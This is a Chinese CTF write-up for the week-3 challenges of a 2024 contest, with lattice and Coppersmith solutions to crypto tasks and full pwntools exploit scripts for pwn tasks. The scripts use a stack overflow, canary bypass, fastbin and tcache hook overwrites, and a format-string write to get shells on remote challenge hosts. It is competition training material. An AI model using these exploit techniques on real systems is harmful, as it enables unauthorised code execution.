[山河CTF 2024] week3

一周不在家,这是补的最后一篇。后边的还有0xgame和shctf的末周。打不动了。

Crypto

Approximate_n

题目分两部分,flag分两块两个RSA,第1个泄露了4个n_approx=kp+r的值,后边只泄露了1个。

第1部分利用以前的模板,造格规约

Count = 3
L = Matrix(ZZ, Count, Count)
K = 2^247
L[0,0] = K
for i in range(1, Count):L[0,i] = N1_reveal[i]L[i,i] = -N1_reveal[0]
res = L.LLL()[0]p = N1_reveal[0] // (abs(res[0]) // K)

然后第2部分只有1个就造不了了。后来一想这东西很小,直接cooper试试,结果出了。

P.<x> = PolynomialRing(Zmod(N2))
f = N2_reveal - x 
res = f.small_roots(X=2^247,beta=0.4, epsilon=0.01)
r = f(res[0])
p = gcd(N2, N2_reveal-r)
long_to_bytes(int(pow(C2,inverse_mod(65537,p-1),p)))

看WP应该是造这个

B=\begin{bmatrix} -2^{2log_r} & 2^{log_r}N1 & 0\\ 0 & -2^{log_r} & N1\\ 0 & 0 & N0 \end{bmatrix}

引用一下官,我回头慢慢理解。

def solve2(N,N1,t,k,sys):var('x y')f = N1-xQ_polys = []for j in range(t + 1):# print(max(k-j,0),min(j,k),max(j-k,0))x1,x2,x3 = max(k-j,0),min(j,k),max(j-k,0)Q_polys.append(N^(max(k-j,0))*f^(min(j,k))*x^(max(j-k,0)))# print(Q_polys)len = t+1B = []num = 0for i in Q_polys:J = i.coefficients()b = [0*x for x in range(len)]for j in J:# print(j[0],j[1])b[j[1]] = ZZ(j[0])*(2**sys)**ZZ(j[1])B.append(b[::-1])num+=1B = matrix(QQ,B)solve_B = B.LLL()print('===We have find the right B_LLL===')BB = solve_B[0]a = []for i in range(len):a.append(BB[i]//((2^sys)^(t-i)))f1 = 0for i in range(t+1):f1 += a[i]*x^(t-i)m = f1.roots(multiplicities=False)print(m)return m

 

Lattice

hint = x*m^-1 mod n直接用hint和n造格  m*hint = x + kn 

M = matrix(ZZ, [[1,hint],[0,n]])
res = M.LLL()
m = res[0][0]
long_to_bytes(int(m))
Shamir

门限方案。又是一个脑筋急转弯的题。这里没限制0也就是kn的情况,所以直接输入0就得到m。后来看官方不是急转弯(漏限制项应该写x%n==0 die())。

正经的写就是取101个数,然后矩阵给它求一下。可以用2开始的101个素数,感觉随机数也行,毕竟数很大,不大可能谁是谁的因子。

from data import *M = matrix(Zmod(n),101,101)
val = vector(Zmod(n),101)for i in range(101):for j in range(101):M[j,i] = pow(s[i][0],j,n)val[i] = s[i][1]res = M.solve_left(val)#res[0] 2714383922841583342545410709520735557018424739022559024254636526541894241086845280356019548541
m = res[0]
from Crypto.Util.number import *
print(long_to_bytes(int(m)))

官方方法是用拉格朗日插值法,原来存过,但还是不大会。这里x取的是1开始的101个数。

R.<x> = PolynomialRing(Zmod(n))recover_f = R.lagrange_polynomial(PT)
m = recover_f(0)
flag = long_to_bytes(int(m))
print(flag)
babyLCG

LCG参数全有,但只给出高-80位。直接用2元cooper

h = [i<<80 for i in c]
P.<x1,x2> = PolynomialRing(Zmod(p))
f = a*(h[0]+x1) + b - h[1] - x2#2元 coopersmith
res =small_roots(f,bounds=(2^80,2^80),2,3)
#[(599252632492697576403405, 756741212306419214614221)]x1 = res[0][0]
m = (h[0]+x1-b)*inverse_mod(a,p)%p
from Crypto.Util.number import *
long_to_bytes(int(m))
#b'SHCTF{1c6_M4y_mE4n5_Iou_don6_cAI_oa}'
baby_lock

这个没弄出来,看了看WP。是v8下math.random的漏洞。不学了,漏洞应该已经修补了。

大学×高中√

一开始没想到怎么弄,后来发现原来存了一个题,是求tag(m),跟着倒过来。

这里的边K需要控制一下,不过直接上1000也行。

acos = arccos(leak)
RR = RealField(1000)
pi = RR(pi) #使pi更加精确for x in range(500,1000):K = 2^xL = Matrix(QQ,[[1,0,K],[0,2^(47*8),K*acos],[0,0,K*2*pi]])m = abs(L.LLL()[0][0])v = long_to_bytes(int(m))if b'{' in v and b'}' in v:print(x,v)break#SHCTF{arcCo5_lEARNED_1n_hI9h_ScHOOI_usEd_laTEr}

PWN

Awakening of SKYNET

这是个c++的程序,当抛出异常时程序不会退出,会沿着栈向前找catch,所以直接通过写溢出跳过第1个catch让第2个带后门的catch捕获即可。代码很简单,但是这个点不大常见。

from pwn import *
context(arch='amd64', log_level='debug')p = remote('210.44.150.15', 28052)#掷出异常后,会向前回溯调用它的函数中的catch,执行catch里的代码
#func3的返回地址后func2有catch语句处理,将返回地址由func2改为func1将执行func1 catch里的后门程序
#弹出后的rbp会写入数据,保证 [rbp-0x18]可写
p.sendafter(b">>> SKYNET: Input command: ", b'\0'*0x20+flat(0x405800, 0x402749))p.interactive()
TUTo的服务器

有canary但是计数在后边,通过写i跳过,写尾位到后门。

from pwn import *
context(arch='amd64',log_level = 'debug')p = remote('210.44.150.15', 29480)p.sendafter(b"Please enter the invitation code", b"TUTo_shi_da_shuai_ge\0")
p.sendafter(b"Please enter your name", b'/bin/sh\0'*(0xf*2))#\x37修改i跳到ret处修改后两字节到system(rbp-30)
p.send(b'echo flag'.ljust(16,b'\0')+b'/bin/sh\0'+b'\0'*4+ b'\x37'+b'\x8d\x53')p.interactive()
ez_heap

libc-2.23写one这个好辛苦。好老。

from pwn import *
context(arch='amd64',log_level = 'debug')libc = ELF('./libc.so.6')
elf = ELF('./pwn')def add(size,msg=b'A'):p.sendlineafter(b"Your choice :", b'1')p.sendlineafter(b"Note size :", str(size).encode())p.sendafter(b"Content :", msg)def free(idx):p.sendlineafter(b"Your choice :", b'2')p.sendlineafter(b"Index :", str(idx).encode())def show(idx):p.sendlineafter(b"Your choice :", b'3')p.sendlineafter(b"Index :", str(idx).encode())#p = remote('47.97.58.52', 42003)
p = 0
def gao(one, off):global p #p = process('./pwn')p = remote('210.44.150.15', 25633)add(0x80)add(0x68)add(0x68)free(0)show(0)libc.address = u64(p.recvline()[:-1].ljust(8, b'\0')) - 0x3c4b78print(f"{libc.address = :x}")oneaddr = libc.address + onefree(1)free(2)free(1)add(0x68, p64(libc.sym['__malloc_hook']- 0x23))add(0x68)add(0x68,b'/bin/sh\0')add(0x68,b'\0'*0x13+flat(oneaddr, libc.sym['realloc']+off))#gdb.attach(p, "b*0x5555555552ab\nc")p.sendlineafter(b"Your choice :", b'1')p.sendlineafter(b"Note size :", str(0x68).encode())#p.sendline(b'cat flag')#p.sendline(b'cat flag')p.interactive()for v in [0x45226,0x4527a,0xf03a4,0xf1247][3:]:for v2 in [0,2,4,6,8,12,13,16]:gao(v,v2)
ez_tcache

uaf板子题,先通过unsort得到libc再写system到__free_hook

from pwn import *
context(arch='amd64',log_level = 'debug')libc = ELF('./libc.so.6')
elf = ELF('./pwn')def add(idx, size,msg=b'A'):p.sendlineafter(b">> ", b'1')p.sendlineafter(b"Index: ", str(idx).encode())p.sendlineafter(b"Size: ", str(size).encode())p.sendafter(b"please input the tag: ", msg)     #0x20def free(idx):p.sendlineafter(b">> ", str(0xffff).encode())  #uafp.sendlineafter(b"Index: ", str(idx).encode())def show(idx):p.sendlineafter(b">> ", b'3')p.sendlineafter(b"Index: ", str(idx).encode())def edit(idx, msg):p.sendlineafter(b">> ", b'4')p.sendlineafter(b"Index: ", str(idx).encode())p.send(msg)#p = process('./pwn')
p = remote('210.44.150.15', 26561)for i in range(8):add(i, 0xf8)for i in range(7,-1,-1):free(i)add(8, 0x20)
edit(0, b'A'*0x10)
show(0)
libc.address = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - 0x3ebca0
print(f"{libc.address = :x}")edit(0, flat(0,0xd1))
add(9, 0x20)
free(8)
free(9)
edit(0, flat(0,0x31, libc.sym['__free_hook']))add(10, 0x20, b'/bin/sh\0')
add(11, 0x20, p64(libc.sym['system']))free(10)
p.interactive()
fmt_fmt

格式化字符串题,栈内就比较好办了。先泄露栈地址,再写ret

from pwn import *
context(arch='amd64',log_level = 'debug')elf = ELF('./pwn')p = remote('210.44.150.15', 31252)p.sendlineafter(b"3. exit", b'2')
p.sendlineafter(b"which one do you want to talk to?", b'8')
p.sendafter(b"what you want to say?", b"%28$p,%29$p,\0")
p.sendlineafter(b"3. exit", b'2')
stack = int(p.recvuntil(b',', drop=True),16) - 8
elf.address = int(p.recvuntil(b',', drop=True),16) - 0x1443print(f"{stack = :x} {elf.address = :x}")p.sendlineafter(b"which one do you want to talk to?", b'8')
p.sendafter(b"what you want to say?", f"%{(elf.address + 0x1255)&0xffff}c%8$hn".ljust(16,'A').encode()+p64(stack))p.sendlineafter(b"3. exit", b'2')p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/57408.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于SSM+VUE园艺生活植物网站JAVA|VUE|Springboot计算机毕业设计源代码+数据库+LW文档+开题报告+答辩稿+部署教+代码讲解

源代码数据库LW文档&#xff08;1万字以上&#xff09;开题报告答辩稿 部署教程代码讲解代码时间修改教程 一、开发工具、运行环境、开发技术 开发工具 1、操作系统&#xff1a;Window操作系统 2、开发工具&#xff1a;IntelliJ IDEA或者Eclipse 3、数据库存储&#xff1a…

C++初阶(八)--内存管理

目录 引入&#xff1a; 一、C中的内存布局 1.内存区域 2.示例变量存储位置说明 二、C语言中动态内存管理 三、C内存管理方式 1.new/delete操作内置类型 2.new和delete操作自定义类型 四、operator new与operator delete函数&#xff08;重要点进行讲解&#xff09; …

基于vue框架的的驾校预约车辆管理系统设计与实现jwoqj(程序+源码+数据库+调试部署+开发环境)系统界面在最后面

系统程序文件列表 项目功能&#xff1a;学员,教练员,驾校车辆,车辆信息,车辆类型,预约信息,时间段,教学课程,上报维修,维修内容,练车记录,取消信息 开题报告内容 基于Vue框架的驾校预约车辆管理系统设计与实现开题报告 一、研究背景与意义 随着驾驶培训行业的快速发展&…

JVM结构图

JVM&#xff08;Java虚拟机&#xff09;是Java编程语言的核心组件之一&#xff0c;负责将Java字节码翻译成机器码并执行。JVM由多个子系统组成&#xff0c;包括类加载子系统、运行时数据区、执行引擎、Java本地接口和本地方法库。 类加载子系统&#xff08;Class Loading Subsy…

IDEA 打包首个java项目为jar包

新建java项目 创建一个java项目&#xff0c;使用Maven进行项目构建&#xff0c;高级配置方面主要设置了项目包版本等信息。 依照步骤生成相关的项目。 设置maven环境 从项目设置中查找maven相关配置 设置&#xff08;settings&#xff09;-》构建、执行、部署&#xff08;B…

【ARCGIS实验】地形特征线的提取

目录 一、提取不同位置的地形剖面线 二、将DEM转化为TIN 三、进行可视分析 四、进行山脊、山谷等特征线的提取 1、正负地形提取&#xff08;用于校正&#xff09; 2、山脊线提取 3、山谷线的提取 4、河网的提取 5、流域的分割 五、鞍部点的提取 1、背景 2、目的 3…

达梦数据库在终端/控制台交互查询SQL语句,查询结果导出excel

达梦数据库在终端/控制台交互查询SQL语句&#xff0c;查询结果导出excel 依赖 安装JDK&#xff0c;maven引入达梦包&#xff0c;maven打包主类改成查询工具类&#xff0c;即可放到linux平台运行 <dependency><groupId>com.dameng</groupId><artifactId…

【Linux】设备树

设备树简介 我们前面介绍过平台设备驱动&#xff0c;知道硬件资源信息可以放在设备中&#xff0c;然后在驱动的probe函数中从设备中获取资源信息。但是&#xff0c;Linux3.x以后的版本引入了设备树&#xff0c;设备树用于描述一个硬件平台的硬件资源&#xff0c;一般描述那些不…

node和npm版本冲突

问题描述&#xff1a; 解决办法&#xff1a; 一、 查看自己当前的node和npm版本 node -v npm -v 二、 登录node官网地址 node官网地址 https://nodejs.org/zh-cn/about/previous-releases 查看与自己node版本兼容的是哪一版本的npm,相对应进行更新即可。 三 升级node 下载最…

笑死人不偿命的联想:大象是什么?

element&#xff08;元素&#xff09;一词&#xff0c;起源不明。但是它长得很像elephant&#xff08;大象&#xff09;一词&#xff0c;其同通部分为ele-这一结构&#xff0c;因此我们很容易将两个单词进行拆分出来&#xff1a; element n.元素 // ele ment名缀elephant n.大…

书生-第四期闯关:完成SSH连接与端口映射并运行hello_world.py

端口映射完成后&#xff0c;访问127.0.0.1&#xff1a;7860成功展示如下界面&#xff1a; 书生浦语大模型实战营 项目地址&#xff1a;https://github.com/InternLM/Tutorial/

DBT踩坑第三弹

1. dbt在获取元数据信息的时候&#xff0c;底层使用pyHive的时候database信息没有传进去&#xff0c;pyHive默认又是会设置databasedefault&#xff0c;如果没有default库权限的&#xff0c;这个时候就会抛出Access异常。所以此时最好修改下 dbt-spark 的源码&#xff0c;把dat…

Codeforces Round 966 (Div. 3)

D. Right Left Wrong 题意 思路 我们可以先预处理前缀和&#xff0c;然后贪心每次找最左边的L和最右边的R&#xff0c;计算区间和&#xff0c;然后缩小区间重复操作即可 时间复杂度 O(N) void solve() {int n;cin >> n;vector<int> arr(n 1);vector<int>…

Qt 实战(10)模型视图 | 10.5、代理

文章目录 一、代理1、简介2、自定义代理 前言&#xff1a; 在Qt的模型/视图&#xff08;Model/View&#xff09;框架中&#xff0c;代理&#xff08;Delegate&#xff09;是一个非常重要的概念。它充当了模型和视图之间的桥梁&#xff0c;负责数据的显示和编辑。代理可以自定义…

NSSCTF-WEB-nizhuansiwei

前言 就直接上题目吧 这题有些意思 正文 <?php $text $_GET["text"]; $file $_GET["file"]; $password $_GET["password"];//定义三个变量 if(isset($text)&&(file_get_contents($text,r)"welcome to the zjctf"))…

无迹卡尔曼滤波器(UKF)

正如我们在前一章中所看到的&#xff0c;当状态转移模型f (x)和观测模型h (x)接近于线性时&#xff0c;EKF的性能是令人满意的。然而&#xff0c;当f (x)或h (x)模型是高度非线性的时&#xff0c;线性化误差会导致与状态的真实值显著不同的估计&#xff0c;以及不能捕获状态中的…

金蝶云星空与管易云的数据集成实战案例

金蝶云星空与管易云的数据集成案例分享 在企业信息化系统中&#xff0c;实现不同平台之间的数据无缝对接是提升业务效率的关键。本文将聚焦于一个具体的系统对接集成案例&#xff1a;如何将金蝶云星空中的调拨申请单数据集成到管易云的采购订单新增模块&#xff0c;特别是针对…

成本累计曲线:项目预算的秘密武器

在项目管理的过程中&#xff0c;成本控制是影响项目成败的关键因素之一&#xff0c;而其中“成本累计曲线”就像是一位财务导航员&#xff0c;为项目的成本控制和进度监控提供了极大的帮助。那么&#xff0c;什么是成本累计曲线&#xff1f;它包含哪些步骤&#xff1f;如何应用…

idea连接数据库出现错误的解决方式

在使用idea连接数据库时&#xff0c;出现错误&#xff1a; The server has terminated the handshake. The protocol list option (enabledTLSProtocols) is set, this option might cause connection issues with some versions of MySQL. Consider removing the protocol li…

C++朝花夕拾

目录 目录 函数分文件编写 野指针 const与指针 const修饰指针——常量指针 const修饰常量——指针常量 const既修饰指针,又修饰常量 const阻止函数修改 delete和delete[]的区别 内存四区&#xff08;面试会问&#xff1f;&#xff09; 程序运行前 代码区 全局区 程…